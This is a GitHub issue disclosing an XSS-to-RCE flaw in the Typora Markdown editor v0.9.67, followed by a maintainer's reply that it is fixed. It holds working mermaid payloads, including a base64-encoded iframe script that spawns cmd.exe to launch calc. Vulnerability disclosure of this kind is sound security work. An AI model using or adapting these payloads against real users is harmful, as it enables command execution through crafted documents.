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Typora(v0.9.67) XSS to RCE #2289

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SAMOxtan opened this issue Mar 17, 2019 · 1 comment
Closed

Typora(v0.9.67) XSS to RCE #2289

SAMOxtan opened this issue Mar 17, 2019 · 1 comment
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@SAMOxtan
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Tested On Windows 10
Version : 0.9.67
image
XSS:

```mermaid
graph LR
id1["<iframe src=javascript:alert('xss')></iframe>"]
```

image

RCE:

```mermaid
graph LR
id1["<iframe src=javascript:eval(atob('dmFyIFByb2Nlc3MgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmJpbmRpbmcoJ3Byb2Nlc3Nfd3JhcCcpLlByb2Nlc3M7CnZhciBwcm9jID0gbmV3IFByb2Nlc3MoKTsKcHJvYy5vbmV4aXQgPSBmdW5jdGlvbiAoYSwgYikge307CnZhciBlbnYgPSB3aW5kb3cucGFyZW50LnRvcC5wcm9jZXNzLmVudjsKdmFyIGVudl8gPSBbXTsKZm9yICh2YXIga2V5IGluIGVudikgZW52Xy5wdXNoKGtleSArICc9JyArIGVudltrZXldKTsKcHJvYy5zcGF3bih7CiAgICBmaWxlOiAnY21kLmV4ZScsCiAgICBhcmdzOiBbJy9rIGNhbGMnXSwKICAgIGN3ZDogbnVsbCwKICAgIHdpbmRvd3NWZXJiYXRpbUFyZ3VtZW50czogZmFsc2UsCiAgICBkZXRhY2hlZDogZmFsc2UsCiAgICBlbnZQYWlyczogZW52XywKICAgIHN0ZGlvOiBbewogICAgICAgIHR5cGU6ICdpZ25vcmUnCiAgICB9LCB7CiAgICAgICAgdHlwZTogJ2lnbm9yZScKICAgIH0sIHsKICAgICAgICB0eXBlOiAnaWdub3JlJwogICAgfV0KfSk7'))></iframe>"]
```

image

poc.zip
@abnerlee abnerlee added the bug label Mar 18, 2019
@abnerlee
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fixed in new release

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@abnerlee @SAMOxtan